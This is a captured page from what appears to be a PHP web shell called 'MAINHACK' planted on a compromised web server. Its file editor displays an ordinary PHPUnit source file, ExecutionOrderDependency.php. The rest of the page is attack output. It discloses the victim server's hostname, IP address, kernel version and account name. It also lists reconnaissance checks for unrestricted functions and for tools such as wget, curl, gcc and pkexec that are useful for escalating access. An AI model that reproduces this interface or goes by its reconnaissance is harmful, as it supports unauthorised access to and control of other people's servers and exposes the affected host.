[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ExecutionOrderDependency.php
<?php declare(strict_types=1); /* * This file is part of PHPUnit. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework; use function array_filter; use function array_map; use function array_values; use function count; use function explode; use function in_array; use function strpos; use function trim; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExecutionOrderDependency { /** * @var string */ private $className = ''; /** * @var string */ private $methodName = ''; /** * @var bool */ private $useShallowClone = false; /** * @var bool */ private $useDeepClone = false; public static function createFromDependsAnnotation(string $className, string $annotation): self { // Split clone option and target $parts = explode(' ', trim($annotation), 2); if (count($parts) === 1) { $cloneOption = ''; $target = $parts[0]; } else { $cloneOption = $parts[0]; $target = $parts[1]; } // Prefix provided class for targets assumed to be in scope if ($target !== '' && strpos($target, '::') === false) { $target = $className . '::' . $target; } return new self($target, null, $cloneOption); } /** * @psalm-param list<ExecutionOrderDependency> $dependencies * * @psalm-return list<ExecutionOrderDependency> */ public static function filterInvalid(array $dependencies): array { return array_values( array_filter( $dependencies, static function (self $d) { return $d->isValid(); } ) ); } /** * @psalm-param list<ExecutionOrderDependency> $existing * @psalm-param list<ExecutionOrderDependency> $additional * * @psalm-return list<ExecutionOrderDependency> */ public static function mergeUnique(array $existing, array $additional): array { $existingTargets = array_map( static function ($dependency) { return $dependency->getTarget(); }, $existing ); foreach ($additional as $dependency) { if (in_array($dependency->getTarget(), $existingTargets, true)) { continue; } $existingTargets[] = $dependency->getTarget(); $existing[] = $dependency; } return $existing; } /** * @psalm-param list<ExecutionOrderDependency> $left * @psalm-param list<ExecutionOrderDependency> $right * * @psalm-return list<ExecutionOrderDependency> */ public static function diff(array $left, array $right): array { if ($right === []) { return $left; } if ($left === []) { return []; } $diff = []; $rightTargets = array_map( static function ($dependency) { return $dependency->getTarget(); }, $right ); foreach ($left as $dependency) { if (in_array($dependency->getTarget(), $rightTargets, true)) { continue; } $diff[] = $dependency; } return $diff; } public function __construct(string $classOrCallableName, ?string $methodName = null, ?string $option = null) { if ($classOrCallableName === '') { return; } if (strpos($classOrCallableName, '::') !== false) { [$this->className, $this->methodName] = explode('::', $classOrCallableName); } else { $this->className = $classOrCallableName; $this->methodName = !empty($methodName) ? $methodName : 'class'; } if ($option === 'clone') { $this->useDeepClone = true; } elseif ($option === 'shallowClone') { $this->useShallowClone = true; } } public function __toString(): string { return $this->getTarget(); } public function isValid(): bool { // Invalid dependencies can be declared and are skipped by the runner return $this->className !== '' && $this->methodName !== ''; } public function useShallowClone(): bool { return $this->useShallowClone; } public function useDeepClone(): bool { return $this->useDeepClone; } public function targetIsClass(): bool { return $this->methodName === 'class'; } public function getTarget(): string { return $this->isValid() ? $this->className . '::' . $this->methodName : ''; } public function getTargetClassName(): string { return $this->className; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002